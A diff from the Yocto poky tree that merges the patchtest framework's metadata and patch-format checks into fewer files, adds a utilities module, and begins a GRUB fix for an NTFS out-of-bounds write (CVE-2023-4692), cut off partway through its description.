+ self.skip('No added recipes, skipping test')
+
+ # TODO: this is a workaround so we can parse the recipe not
+ # containing the LICENSE var: add some default license instead
+ # of INVALID into auto.conf, then remove this line at the end
+ auto_conf = os.path.join(os.environ.get('BUILDDIR'), 'conf', 'auto.conf')
+ open_flag = 'w'
+ if os.path.exists(auto_conf):
+ open_flag = 'a'
+ with open(auto_conf, open_flag) as fd:
+ for pn in self.added:
+ fd.write('LICENSE ??= "%s"\n' % self.invalid_license)
+
+ no_license = False
+ for pn in self.added:
+ rd = self.tinfoil.parse_recipe(pn)
+ license = rd.getVar(self.metadata_lic)
+ if license == self.invalid_license:
+ no_license = True
+ break
+
+ # remove auto.conf line or the file itself
+ if open_flag == 'w':
+ os.remove(auto_conf)
+ else:
+ fd = open(auto_conf, 'r')
+ lines = fd.readlines()
+ fd.close()
+ with open(auto_conf, 'w') as fd:
+ fd.write(''.join(lines[:-1]))
+
+ if no_license:
+ self.fail('Recipe does not have the LICENSE field set.')
+
+ def test_lic_files_chksum_presence(self):
+ if not self.added:
+ self.skip('No added recipes, skipping test')
+
+ for pn in self.added:
+ rd = self.tinfoil.parse_recipe(pn)
+ pathname = rd.getVar('FILE')
+ # we are not interested in images
+ if '/images/' in pathname:
+ continue
+ lic_files_chksum = rd.getVar(self.metadata_chksum)
+ if rd.getVar(self.license_var) == self.closed:
+ continue
+ if not lic_files_chksum:
+ self.fail('%s is missing in newly added recipe' % self.metadata_chksum)
+
+ def test_lic_files_chksum_modified_not_mentioned(self):
+ if not self.modified:
+ self.skip('No modified recipes, skipping test')
+
+ for patch in self.patchset:
+ # for the moment, we are just interested in metadata
+ if patch.path.endswith('.patch'):
+ continue
+ payload = str(patch)
+ if (self.lic_chksum_added.search_string(payload) or self.lic_chksum_removed.search_string(payload)):
+ # if any patch on the series contain reference on the metadata, fail
+ for commit in self.commits:
+ if self.lictag_re.search_string(commit.commit_message):
+ break
+ else:
+ self.fail('LIC_FILES_CHKSUM changed without "License-Update:" tag and description in commit message')
+
+ def test_max_line_length(self):
+ for patch in self.patchset:
+ # for the moment, we are just interested in metadata
+ if patch.path.endswith('.patch'):
+ continue
+ payload = str(patch)
+ for line in payload.splitlines():
+ if self.add_mark.search_string(line):
+ current_line_length = len(line[1:])
+ if current_line_length > self.max_length:
+ self.fail('Patch line too long (current length %s, maximum is %s)' % (current_line_length, self.max_length),
+ data=[('Patch', patch.path), ('Line', '%s ...' % line[0:80])])
+
+ def pretest_src_uri_left_files(self):
+ # these tests just make sense on patches that can be merged
+ if not PatchTestInput.repo.canbemerged:
+ self.skip('Patch cannot be merged')
+ if not self.modified:
+ self.skip('No modified recipes, skipping pretest')
+
+ # get the proper metadata values
+ for pn in self.modified:
+ # we are not interested in images
+ if 'core-image' in pn:
+ continue
+ rd = self.tinfoil.parse_recipe(pn)
+ PatchTestDataStore['%s-%s-%s' % (self.shortid(), self.metadata_src_uri, pn)] = rd.getVar(self.metadata_src_uri)
+
+ def test_src_uri_left_files(self):
+ # these tests just make sense on patches that can be merged
+ if not PatchTestInput.repo.canbemerged:
+ self.skip('Patch cannot be merged')
+ if not self.modified:
+ self.skip('No modified recipes, skipping pretest')
+
+ # get the proper metadata values
+ for pn in self.modified:
+ # we are not interested in images
+ if 'core-image' in pn:
+ continue
+ rd = self.tinfoil.parse_recipe(pn)
+ PatchTestDataStore['%s-%s-%s' % (self.shortid(), self.metadata_src_uri, pn)] = rd.getVar(self.metadata_src_uri)
+
+ for pn in self.modified:
+ pretest_src_uri = PatchTestDataStore['pre%s-%s-%s' % (self.shortid(), self.metadata_src_uri, pn)].split()
+ test_src_uri = PatchTestDataStore['%s-%s-%s' % (self.shortid(), self.metadata_src_uri, pn)].split()
+
+ pretest_files = set([os.path.basename(patch) for patch in pretest_src_uri if patch.startswith('file://')])
+ test_files = set([os.path.basename(patch) for patch in test_src_uri if patch.startswith('file://')])
+
+ # check if files were removed
+ if len(test_files) < len(pretest_files):
+
+ # get removals from patchset
+ filesremoved_from_patchset = set()
+ for patch in self.patchset:
+ if patch.is_removed_file:
+ filesremoved_from_patchset.add(os.path.basename(patch.path))
+
+ # get the deleted files from the SRC_URI
+ filesremoved_from_usr_uri = pretest_files - test_files
+
+ # finally, get those patches removed at SRC_URI and not removed from the patchset
+ # TODO: we are not taking into account renames, so test may raise false positives
+ not_removed = filesremoved_from_usr_uri - filesremoved_from_patchset
+ if not_removed:
+ self.fail('Patches not removed from tree. Remove them and amend the submitted mbox',
+ data=[('Patch', f) for f in not_removed])
+
+ def test_summary_presence(self):
+ if not self.added:
+ self.skip('No added recipes, skipping test')
+
+ for pn in self.added:
+ # we are not interested in images
+ if 'core-image' in pn:
+ continue
+ rd = self.tinfoil.parse_recipe(pn)
+ summary = rd.getVar(self.metadata_summary)
+
+ # "${PN} version ${PN}-${PR}" is the default, so fail if default
+ if summary.startswith('%s version' % pn):
+ self.fail('%s is missing in newly added recipe' % self.metadata_summary)
diff --git a/poky/meta/lib/patchtest/tests/test_metadata_lic_files_chksum.py b/poky/meta/lib/patchtest/tests/test_metadata_lic_files_chksum.py
deleted file mode 100644
index e9a5b6bb4e..0000000000
--- a/poky/meta/lib/patchtest/tests/test_metadata_lic_files_chksum.py
+++ /dev/null
@@ -1,82 +0,0 @@
-# Checks related to the patch's LIC_FILES_CHKSUM metadata variable
-#
-# Copyright (C) 2016 Intel Corporation
-#
-# SPDX-License-Identifier: GPL-2.0
-
-import base
-import re
-from data import PatchTestInput, PatchTestDataStore
-
-class LicFilesChkSum(base.Metadata):
- metadata = 'LIC_FILES_CHKSUM'
- license = 'LICENSE'
- closed = 'CLOSED'
- lictag = 'License-Update'
- lictag_re = re.compile("^%s:" % lictag, re.MULTILINE)
-
- def setUp(self):
- # these tests just make sense on patches that can be merged
- if not PatchTestInput.repo.canbemerged:
- self.skip('Patch cannot be merged')
-
- def test_lic_files_chksum_presence(self):
- if not self.added:
- self.skip('No added recipes, skipping test')
-
- for pn in self.added:
- rd = self.tinfoil.parse_recipe(pn)
- pathname = rd.getVar('FILE')
- # we are not interested in images
- if '/images/' in pathname:
- continue
- lic_files_chksum = rd.getVar(self.metadata)
- if rd.getVar(self.license) == self.closed:
- continue
- if not lic_files_chksum:
- self.fail('%s is missing in newly added recipe' % self.metadata,
- 'Specify the variable %s in %s' % (self.metadata, pn))
-
- def pretest_lic_files_chksum_modified_not_mentioned(self):
- if not self.modified:
- self.skip('No modified recipes, skipping pretest')
- # get the proper metadata values
- for pn in self.modified:
- rd = self.tinfoil.parse_recipe(pn)
- pathname = rd.getVar('FILE')
- # we are not interested in images
- if '/images/' in pathname:
- continue
- PatchTestDataStore['%s-%s-%s' % (self.shortid(),self.metadata,pn)] = rd.getVar(self.metadata)
-
- def test_lic_files_chksum_modified_not_mentioned(self):
- if not self.modified:
- self.skip('No modified recipes, skipping test')
-
- # get the proper metadata values
- for pn in self.modified:
- rd = self.tinfoil.parse_recipe(pn)
- pathname = rd.getVar('FILE')
- # we are not interested in images
- if '/images/' in pathname:
- continue
- PatchTestDataStore['%s-%s-%s' % (self.shortid(),self.metadata,pn)] = rd.getVar(self.metadata)
- # compare if there were changes between pre-merge and merge
- for pn in self.modified:
- pretest = PatchTestDataStore['pre%s-%s-%s' % (self.shortid(),self.metadata, pn)]
- test = PatchTestDataStore['%s-%s-%s' % (self.shortid(),self.metadata, pn)]
-
- # TODO: this is workaround to avoid false-positives when pretest metadata is empty (not reason found yet)
- # For more info, check bug 12284
- if not pretest:
- return
-
- if pretest != test:
- # if any patch on the series contain reference on the metadata, fail
- for commit in self.commits:
- if self.lictag_re.search(commit.commit_message):
- break
- else:
- self.fail('LIC_FILES_CHKSUM changed on target %s but there is no "%s" tag in commit message' % (pn, self.lictag),
- 'Include "%s: <description>" into the commit message with a brief description' % self.lictag,
- data=[('Current checksum', pretest), ('New checksum', test)])
diff --git a/poky/meta/lib/patchtest/tests/test_metadata_license.py b/poky/meta/lib/patchtest/tests/test_metadata_license.py
deleted file mode 100644
index 16604dbfb1..0000000000
--- a/poky/meta/lib/patchtest/tests/test_metadata_license.py
+++ /dev/null
@@ -1,55 +0,0 @@
-# Checks related to the patch's LIC_FILES_CHKSUM metadata variable
-#
-# Copyright (C) 2016 Intel Corporation
-#
-# SPDX-License-Identifier: GPL-2.0
-
-import base
-import os
-from data import PatchTestInput
-
-class License(base.Metadata):
- metadata = 'LICENSE'
- invalid_license = 'PATCHTESTINVALID'
-
- def setUp(self):
- # these tests just make sense on patches that can be merged
- if not PatchTestInput.repo.canbemerged:
- self.skip('Patch cannot be merged')
-
- def test_license_presence(self):
- if not self.added:
- self.skip('No added recipes, skipping test')
-
- # TODO: this is a workaround so we can parse the recipe not
- # containing the LICENSE var: add some default license instead
- # of INVALID into auto.conf, then remove this line at the end
- auto_conf = os.path.join(os.environ.get('BUILDDIR'), 'conf', 'auto.conf')
- open_flag = 'w'
- if os.path.exists(auto_conf):
- open_flag = 'a'
- with open(auto_conf, open_flag) as fd:
- for pn in self.added:
- fd.write('LICENSE ??= "%s"\n' % self.invalid_license)
-
- no_license = False
- for pn in self.added:
- rd = self.tinfoil.parse_recipe(pn)
- license = rd.getVar(self.metadata)
- if license == self.invalid_license:
- no_license = True
- break
-
- # remove auto.conf line or the file itself
- if open_flag == 'w':
- os.remove(auto_conf)
- else:
- fd = open(auto_conf, 'r')
- lines = fd.readlines()
- fd.close()
- with open(auto_conf, 'w') as fd:
- fd.write(''.join(lines[:-1]))
-
- if no_license:
- self.fail('Recipe does not have the LICENSE field set', 'Include a LICENSE into the new recipe')
-
diff --git a/poky/meta/lib/patchtest/tests/test_metadata_max_length.py b/poky/meta/lib/patchtest/tests/test_metadata_max_length.py
deleted file mode 100644
index 04a5e23469..0000000000
--- a/poky/meta/lib/patchtest/tests/test_metadata_max_length.py
+++ /dev/null
@@ -1,26 +0,0 @@
-# Checks related to patch line lengths
-#
-# Copyright (C) 2016 Intel Corporation
-#
-# SPDX-License-Identifier: GPL-2.0
-
-import base
-import re
-
-class MaxLength(base.Base):
- add_mark = re.compile('\+ ')
- max_length = 200
-
- def test_max_line_length(self):
- for patch in self.patchset:
- # for the moment, we are just interested in metadata
- if patch.path.endswith('.patch'):
- continue
- payload = str(patch)
- for line in payload.splitlines():
- if self.add_mark.match(line):
- current_line_length = len(line[1:])
- if current_line_length > self.max_length:
- self.fail('Patch line too long (current length %s)' % current_line_length,
- 'Shorten the corresponding patch line (max length supported %s)' % self.max_length,
- data=[('Patch', patch.path), ('Line', '%s ...' % line[0:80])])
diff --git a/poky/meta/lib/patchtest/tests/test_metadata_src_uri.py b/poky/meta/lib/patchtest/tests/test_metadata_src_uri.py
deleted file mode 100644
index 718229d7ad..0000000000
--- a/poky/meta/lib/patchtest/tests/test_metadata_src_uri.py
+++ /dev/null
@@ -1,75 +0,0 @@
-# Checks related to the patch's SRC_URI metadata variable
-#
-# Copyright (C) 2016 Intel Corporation
-#
-# SPDX-License-Identifier: GPL-2.0
-
-import subprocess
-import base
-import re
-import os
-from data import PatchTestInput, PatchTestDataStore
-
-class SrcUri(base.Metadata):
-
- metadata = 'SRC_URI'
- md5sum = 'md5sum'
- sha256sum = 'sha256sum'
- git_regex = re.compile('^git\:\/\/.*')
-
- def setUp(self):
- # these tests just make sense on patches that can be merged
- if not PatchTestInput.repo.canbemerged:
- self.skip('Patch cannot be merged')
-
- def pretest_src_uri_left_files(self):
- if not self.modified:
- self.skip('No modified recipes, skipping pretest')
-
- # get the proper metadata values
- for pn in self.modified:
- # we are not interested in images
- if 'core-image' in pn:
- continue
- rd = self.tinfoil.parse_recipe(pn)
- PatchTestDataStore['%s-%s-%s' % (self.shortid(), self.metadata, pn)] = rd.getVar(self.metadata)
-
- def test_src_uri_left_files(self):
- if not self.modified:
- self.skip('No modified recipes, skipping pretest')
-
- # get the proper metadata values
- for pn in self.modified:
- # we are not interested in images
- if 'core-image' in pn:
- continue
- rd = self.tinfoil.parse_recipe(pn)
- PatchTestDataStore['%s-%s-%s' % (self.shortid(), self.metadata, pn)] = rd.getVar(self.metadata)
-
- for pn in self.modified:
- pretest_src_uri = PatchTestDataStore['pre%s-%s-%s' % (self.shortid(), self.metadata, pn)].split()
- test_src_uri = PatchTestDataStore['%s-%s-%s' % (self.shortid(), self.metadata, pn)].split()
-
- pretest_files = set([os.path.basename(patch) for patch in pretest_src_uri if patch.startswith('file://')])
- test_files = set([os.path.basename(patch) for patch in test_src_uri if patch.startswith('file://')])
-
- # check if files were removed
- if len(test_files) < len(pretest_files):
-
- # get removals from patchset
- filesremoved_from_patchset = set()
- for patch in self.patchset:
- if patch.is_removed_file:
- filesremoved_from_patchset.add(os.path.basename(patch.path))
-
- # get the deleted files from the SRC_URI
- filesremoved_from_usr_uri = pretest_files - test_files
-
- # finally, get those patches removed at SRC_URI and not removed from the patchset
- # TODO: we are not taking into account renames, so test may raise false positives
- not_removed = filesremoved_from_usr_uri - filesremoved_from_patchset
- if not_removed:
- self.fail('Patches not removed from tree',
- 'Amend the patch containing the software patch file removal',
- data=[('Patch', f) for f in not_removed])
-
diff --git a/poky/meta/lib/patchtest/tests/test_metadata_summary.py b/poky/meta/lib/patchtest/tests/test_metadata_summary.py
deleted file mode 100644
index 931b26768e..0000000000
--- a/poky/meta/lib/patchtest/tests/test_metadata_summary.py
+++ /dev/null
@@ -1,32 +0,0 @@
-# Checks related to the patch's summary metadata variable
-#
-# Copyright (C) 2016 Intel Corporation
-#
-# SPDX-License-Identifier: GPL-2.0
-
-import base
-from data import PatchTestInput
-
-class Summary(base.Metadata):
- metadata = 'SUMMARY'
-
- def setUp(self):
- # these tests just make sense on patches that can be merged
- if not PatchTestInput.repo.canbemerged:
- self.skip('Patch cannot be merged')
-
- def test_summary_presence(self):
- if not self.added:
- self.skip('No added recipes, skipping test')
-
- for pn in self.added:
- # we are not interested in images
- if 'core-image' in pn:
- continue
- rd = self.tinfoil.parse_recipe(pn)
- summary = rd.getVar(self.metadata)
-
- # "${PN} version ${PN}-${PR}" is the default, so fail if default
- if summary.startswith('%s version' % pn):
- self.fail('%s is missing in newly added recipe' % self.metadata,
- 'Specify the variable %s in %s' % (self.metadata, pn))
diff --git a/poky/meta/lib/patchtest/tests/test_patch_upstream_status.py b/poky/meta/lib/patchtest/tests/test_patch.py
index eda5353c66..65d0f930b0 100644
--- a/poky/meta/lib/patchtest/tests/test_patch_upstream_status.py
+++ b/poky/meta/lib/patchtest/tests/test_patch.py
@@ -1,16 +1,19 @@
-# Checks related to the patch's upstream-status lines
+# Checks related to the patch's CVE lines
#
# Copyright (C) 2016 Intel Corporation
#
-# SPDX-License-Identifier: GPL-2.0
+# SPDX-License-Identifier: GPL-2.0-only
+#
import base
+import parse_signed_off_by
import parse_upstream_status
import pyparsing
-import os
-class PatchUpstreamStatus(base.Base):
+class TestPatch(base.Base):
+ re_cve_pattern = pyparsing.Regex("CVE\-\d{4}\-\d+")
+ re_cve_payload_tag = pyparsing.Regex("\+CVE:(\s+CVE\-\d{4}\-\d+)+")
upstream_status_regex = pyparsing.AtLineStart("+" + "Upstream-Status")
@classmethod
@@ -21,21 +24,33 @@ class PatchUpstreamStatus(base.Base):
if patch.path.endswith('.patch') and patch.is_added_file:
cls.newpatches.append(patch)
+ cls.mark = str(parse_signed_off_by.signed_off_by_mark).strip('"')
+
+ # match PatchSignedOffBy.mark with '+' preceding it
+ cls.prog = parse_signed_off_by.patch_signed_off_by
+
def setUp(self):
if self.unidiff_parse_error:
- self.skip('Python-unidiff parse error')
+ self.skip('Parse error %s' % self.unidiff_parse_error)
+
self.valid_status = ', '.join(parse_upstream_status.upstream_status_nonliteral_valid_status)
self.standard_format = 'Upstream-Status: <Valid status>'
+ # we are just interested in series that introduce CVE patches, thus discard other
+ # possibilities: modification to current CVEs, patch directly introduced into the
+ # recipe, upgrades already including the CVE, etc.
+ new_cves = [p for p in self.patchset if p.path.endswith('.patch') and p.is_added_file]
+ if not new_cves:
+ self.skip('No new CVE patches introduced')
+
def test_upstream_status_presence_format(self):
- if not PatchUpstreamStatus.newpatches:
+ if not TestPatch.newpatches:
self.skip("There are no new software patches, no reason to test Upstream-Status presence/format")
- for newpatch in PatchUpstreamStatus.newpatches:
+ for newpatch in TestPatch.newpatches:
payload = newpatch.__str__()
if not self.upstream_status_regex.search_string(payload):
- self.fail('Added patch file is missing Upstream-Status in the header',
- 'Add Upstream-Status: <Valid status> to the header of %s' % newpatch.path,
+ self.fail('Added patch file is missing Upstream-Status: <Valid status> in the commit message',
data=[('Standard format', self.standard_format), ('Valid status', self.valid_status)])
for line in payload.splitlines():
if self.patchmetadata_regex.match(line):
@@ -46,19 +61,42 @@ class PatchUpstreamStatus(base.Base):
parse_upstream_status.upstream_status_inappropriate_info.parseString(line.lstrip('+'))
except pyparsing.ParseException as pe:
self.fail('Upstream-Status is Inappropriate, but no reason was provided',
- 'Include a brief reason why %s is inappropriate' % os.path.basename(newpatch.path),
data=[('Current', pe.pstr), ('Standard format', 'Upstream-Status: Inappropriate [reason]')])
elif parse_upstream_status.submitted_status_mark.searchString(line):
try:
parse_upstream_status.upstream_status_submitted_info.parseString(line.lstrip('+'))
except pyparsing.ParseException as pe:
self.fail('Upstream-Status is Submitted, but it is not mentioned where',
- 'Include where %s was submitted' % os.path.basename(newpatch.path),
data=[('Current', pe.pstr), ('Standard format', 'Upstream-Status: Submitted [where]')])
else:
try:
parse_upstream_status.upstream_status.parseString(line.lstrip('+'))
except pyparsing.ParseException as pe:
self.fail('Upstream-Status is in incorrect format',
- 'Fix Upstream-Status format in %s' % os.path.basename(newpatch.path),
data=[('Current', pe.pstr), ('Standard format', self.standard_format), ('Valid status', self.valid_status)])
+
+ def test_signed_off_by_presence(self):
+ if not TestPatch.newpatches:
+ self.skip("There are no new software patches, no reason to test %s presence" % PatchSignedOffBy.mark)
+
+ for newpatch in TestPatch.newpatches:
+ payload = newpatch.__str__()
+ for line in payload.splitlines():
+ if self.patchmetadata_regex.match(line):
+ continue
+ if TestPatch.prog.search_string(payload):
+ break
+ else:
+ self.fail('A patch file has been added without a Signed-off-by tag. Sign off the added patch file (%s)' % newpatch.path)
+
+ def test_cve_tag_format(self):
+ for commit in TestPatch.commits:
+ if self.re_cve_pattern.search_string(commit.shortlog) or self.re_cve_pattern.search_string(commit.commit_message):
+ tag_found = False
+ for line in commit.payload.splitlines():
+ if self.re_cve_payload_tag.search_string(line):
+ tag_found = True
+ break
+ if not tag_found:
+ self.fail('Missing or incorrectly formatted CVE tag in patch file. Correct or include the CVE tag in the patch with format: "CVE: CVE-YYYY-XXXX"',
+ commit=commit)
diff --git a/poky/meta/lib/patchtest/tests/test_patch_cve.py b/poky/meta/lib/patchtest/tests/test_patch_cve.py
deleted file mode 100644
index 46ed9ef791..0000000000
--- a/poky/meta/lib/patchtest/tests/test_patch_cve.py
+++ /dev/null
@@ -1,51 +0,0 @@
-# Checks related to the patch's CVE lines
-#
-# Copyright (C) 2016 Intel Corporation
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License version 2 as
-# published by the Free Software Foundation.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License along
-# with this program; if not, write to the Free Software Foundation, Inc.,
-# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-
-# SPDX-License-Identifier: GPL-2.0-or-later
-
-import base
-import os
-import re
-
-class CVE(base.Base):
-
- re_cve_pattern = re.compile("CVE\-\d{4}\-\d+", re.IGNORECASE)
- re_cve_payload_tag = re.compile("\+CVE:(\s+CVE\-\d{4}\-\d+)+")
-
- def setUp(self):
- if self.unidiff_parse_error:
- self.skip('Parse error %s' % self.unidiff_parse_error)
-
- # we are just interested in series that introduce CVE patches, thus discard other
- # possibilities: modification to current CVEs, patch directly introduced into the
- # recipe, upgrades already including the CVE, etc.
- new_cves = [p for p in self.patchset if p.path.endswith('.patch') and p.is_added_file]
- if not new_cves:
- self.skip('No new CVE patches introduced')
-
- def test_cve_tag_format(self):
- for commit in CVE.commits:
- if self.re_cve_pattern.search(commit.shortlog) or self.re_cve_pattern.search(commit.commit_message):
- tag_found = False
- for line in commit.payload.splitlines():
- if self.re_cve_payload_tag.match(line):
- tag_found = True
- break
- if not tag_found:
- self.fail('Missing or incorrectly formatted CVE tag in included patch file',
- 'Correct or include the CVE tag on cve patch with format: "CVE: CVE-YYYY-XXXX"',
- commit)
diff --git a/poky/meta/lib/patchtest/tests/test_patch_signed_off_by.py b/poky/meta/lib/patchtest/tests/test_patch_signed_off_by.py
deleted file mode 100644
index 4855d6daf7..0000000000
--- a/poky/meta/lib/patchtest/tests/test_patch_signed_off_by.py
+++ /dev/null
@@ -1,43 +0,0 @@
-# Checks related to the patch's signed-off-by lines
-#
-# Copyright (C) 2016 Intel Corporation
-#
-# SPDX-License-Identifier: GPL-2.0
-
-import base
-import parse_signed_off_by
-import re
-
-class PatchSignedOffBy(base.Base):
-
- @classmethod
- def setUpClassLocal(cls):
- cls.newpatches = []
- # get just those relevant patches: new software patches
- for patch in cls.patchset:
- if patch.path.endswith('.patch') and patch.is_added_file:
- cls.newpatches.append(patch)
-
- cls.mark = str(parse_signed_off_by.signed_off_by_mark).strip('"')
-
- # match PatchSignedOffBy.mark with '+' preceding it
- cls.prog = parse_signed_off_by.patch_signed_off_by
-
- def setUp(self):
- if self.unidiff_parse_error:
- self.skip('Parse error %s' % self.unidiff_parse_error)
-
- def test_signed_off_by_presence(self):
- if not PatchSignedOffBy.newpatches:
- self.skip("There are no new software patches, no reason to test %s presence" % PatchSignedOffBy.mark)
-
- for newpatch in PatchSignedOffBy.newpatches:
- payload = newpatch.__str__()
- for line in payload.splitlines():
- if self.patchmetadata_regex.match(line):
- continue
- if PatchSignedOffBy.prog.search_string(payload):
- break
- else:
- self.fail('A patch file has been added, but does not have a Signed-off-by tag',
- 'Sign off the added patch file (%s)' % newpatch.path)
diff --git a/poky/meta/lib/patchtest/tests/test_python_pylint.py b/poky/meta/lib/patchtest/tests/test_python_pylint.py
index ea8efb7c2a..ef315e591c 100644
--- a/poky/meta/lib/patchtest/tests/test_python_pylint.py
+++ b/poky/meta/lib/patchtest/tests/test_python_pylint.py
@@ -2,11 +2,14 @@
#
# Copyright (C) 2016 Intel Corporation
#
-# SPDX-License-Identifier: GPL-2.0
+# SPDX-License-Identifier: GPL-2.0-only
import base
+from io import StringIO
from data import PatchTestInput
-import pylint.epylint as lint
+from pylint.reporters.text import TextReporter
+import pylint.lint as lint
+
class PyLint(base.Base):
pythonpatches = []
@@ -26,16 +29,16 @@ class PyLint(base.Base):
def setUp(self):
if self.unidiff_parse_error:
self.skip('Python-unidiff parse error')
- if not PatchTestInput.repo.canbemerged:
- self.skip('Patch cannot be merged, no reason to execute the test method')
if not PyLint.pythonpatches:
self.skip('No python related patches, skipping test')
def pretest_pylint(self):
for pythonpatch in self.pythonpatches:
if pythonpatch.is_modified_file:
- (pylint_stdout, pylint_stderr) = lint.py_run(command_options = pythonpatch.path + self.pylint_options, return_std=True)
- for line in pylint_stdout.readlines():
+ pylint_output = StringIO()
+ reporter = TextReporter(pylint_output)
+ lint.Run([self.pylint_options, pythonpatch.path], reporter=reporter, exit=False)
+ for line in pylint_output.readlines():
if not '*' in line:
if line.strip():
self.pylint_pretest[line.strip().split(' ',1)[0]] = line.strip().split(' ',1)[1]
@@ -48,14 +51,15 @@ class PyLint(base.Base):
path = pythonpatch.target_file[2:]
else:
path = pythonpatch.path
- (pylint_stdout, pylint_stderr) = lint.py_run(command_options = path + self.pylint_options, return_std=True)
- for line in pylint_stdout.readlines():
+ pylint_output = StringIO()
+ reporter = TextReporter(pylint_output)
+ lint.Run([self.pylint_options, pythonpatch.path], reporter=reporter, exit=False)
+ for line in pylint_output.readlines():
if not '*' in line:
if line.strip():
self.pylint_test[line.strip().split(' ',1)[0]] = line.strip().split(' ',1)[1]
for issue in self.pylint_test:
if self.pylint_test[issue] not in self.pylint_pretest.values():
- self.fail('Errors in your Python code were encountered',
- 'Correct the lines introduced by your patch',
+ self.fail('Errors in your Python code were encountered. Please check your code with a linter and resubmit',
data=[('Output', 'Please, fix the listed issues:'), ('', issue + ' ' + self.pylint_test[issue])])
diff --git a/poky/meta/lib/patchtest/utils.py b/poky/meta/lib/patchtest/utils.py
new file mode 100644
index 0000000000..a4a523b4e2
--- /dev/null
+++ b/poky/meta/lib/patchtest/utils.py
@@ -0,0 +1,168 @@
+# ex:ts=4:sw=4:sts=4:et
+# -*- tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*-
+#
+# utils: common methods used by the patchtest framework
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import os
+import subprocess
+import logging
+import re
+import mailbox
+
+class CmdException(Exception):
+ """ Simple exception class where its attributes are the ones passed when instantiated """
+ def __init__(self, cmd):
+ self._cmd = cmd
+ def __getattr__(self, name):
+ value = None
+ if self._cmd.has_key(name):
+ value = self._cmd[name]
+ return value
+
+def exec_cmd(cmd, cwd, ignore_error=False, input=None, strip=True, updateenv={}):
+ """
+ Input:
+
+ cmd: dict containing the following keys:
+
+ cmd : the command itself as an array of strings
+ ignore_error: if False, no exception is raised
+ strip: indicates if strip is done on the output (stdout and stderr)
+ input: input data to the command (stdin)
+ updateenv: environment variables to be appended to the current
+ process environment variables
+
+ NOTE: keys 'ignore_error' and 'input' are optional; if not included,
+ the defaults are the ones specify in the arguments
+ cwd: directory where commands are executed
+ ignore_error: raise CmdException if command fails to execute and
+ this value is False
+ input: input data (stdin) for the command
+
+ Output: dict containing the following keys:
+
+ cmd: the same as input
+ ignore_error: the same as input
+ strip: the same as input
+ input: the same as input
+ stdout: Standard output after command's execution
+ stderr: Standard error after command's execution
+ returncode: Return code after command's execution
+
+ """
+ cmddefaults = {
+ 'cmd':'',
+ 'ignore_error':ignore_error,
+ 'strip':strip,
+ 'input':input,
+ 'updateenv':updateenv,
+ }
+
+ # update input values if necessary
+ cmddefaults.update(cmd)
+
+ _cmd = cmddefaults
+
+ if not _cmd['cmd']:
+ raise CmdException({'cmd':None, 'stderr':'no command given'})
+
+ # update the environment
+ env = os.environ
+ env.update(_cmd['updateenv'])
+
+ _command = [e for e in _cmd['cmd']]
+ p = subprocess.Popen(_command,
+ stdin=subprocess.PIPE,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ universal_newlines=True,
+ cwd=cwd,
+ env=env)
+
+ # execute the command and strip output
+ (_stdout, _stderr) = p.communicate(_cmd['input'])
+ if _cmd['strip']:
+ _stdout, _stderr = map(str.strip, [_stdout, _stderr])
+
+ # generate the result
+ result = _cmd
+ result.update({'cmd':_command,'stdout':_stdout,'stderr':_stderr,'returncode':p.returncode})
+
+ # launch exception if necessary
+ if not _cmd['ignore_error'] and p.returncode:
+ raise CmdException(result)
+
+ return result
+
+def exec_cmds(cmds, cwd):
+ """ Executes commands
+
+ Input:
+ cmds: Array of commands
+ cwd: directory where commands are executed
+
+ Output: Array of output commands
+ """
+ results = []
+ _cmds = cmds
+
+ for cmd in _cmds:
+ result = exec_cmd(cmd, cwd)
+ results.append(result)
+
+ return results
+
+def logger_create(name):
+ logger = logging.getLogger(name)
+ loggerhandler = logging.StreamHandler()
+ loggerhandler.setFormatter(logging.Formatter("%(message)s"))
+ logger.addHandler(loggerhandler)
+ logger.setLevel(logging.INFO)
+ return logger
+
+def get_subject_prefix(path):
+ prefix = ""
+ mbox = mailbox.mbox(path)
+
+ if len(mbox):
+ subject = mbox[0]['subject']
+ if subject:
+ pattern = re.compile("(\[.*\])", re.DOTALL)
+ match = pattern.search(subject)
+ if match:
+ prefix = match.group(1)
+
+ return prefix
+
+def valid_branch(branch):
+ """ Check if branch is valid name """
+ lbranch = branch.lower()
+
+ invalid = lbranch.startswith('patch') or \
+ lbranch.startswith('rfc') or \
+ lbranch.startswith('resend') or \
+ re.search('^v\d+', lbranch) or \
+ re.search('^\d+/\d+', lbranch)
+
+ return not invalid
+
+def get_branch(path):
+ """ Get the branch name from mbox """
+ fullprefix = get_subject_prefix(path)
+ branch, branches, valid_branches = None, [], []
+
+ if fullprefix:
+ prefix = fullprefix.strip('[]')
+ branches = [ b.strip() for b in prefix.split(',')]
+ valid_branches = [b for b in branches if valid_branch(b)]
+
+ if len(valid_branches):
+ branch = valid_branches[0]
+
+ return branch
+
diff --git a/poky/meta/recipes-bsp/grub/files/CVE-2023-4692.patch b/poky/meta/recipes-bsp/grub/files/CVE-2023-4692.patch
new file mode 100644
index 0000000000..305fcc93d8
--- /dev/null
+++ b/poky/meta/recipes-bsp/grub/files/CVE-2023-4692.patch
@@ -0,0 +1,98 @@
+From 43651027d24e62a7a463254165e1e46e42aecdea Mon Sep 17 00:00:00 2001
+From: Maxim Suhanov <dfirblog@gmail.com>
+Date: Mon, 28 Aug 2023 16:31:57 +0300
+Subject: [PATCH] fs/ntfs: Fix an OOB write when parsing the $ATTRIBUTE_LIST attribute
+ for the $MFT file
+
+When parsing an extremely fragmented $MFT file, i.e., the file described
+using the $ATTRIBUTE_LIST attribute, current NTFS code will reuse a buffer
+containing bytes read from the underlying drive to store sector numbers,
+which are consumed later to read data from these sectors into another buffer.
+
+These sectors numbers, two 32-bit integers, are always stored at predefined
+offsets, 0x10 and 0x14, relative to first byte of the selected entry within
+the $ATTRIBUTE_LIST attribute. Usually, this won't cause any problem.
+
+However, when parsing a specially-crafted file system image, this may cause
+the NTFS code to write these integers beyond the buffer boundary, likely
+causing the GRUB memory allocator to misbehave or fail. These integers contain
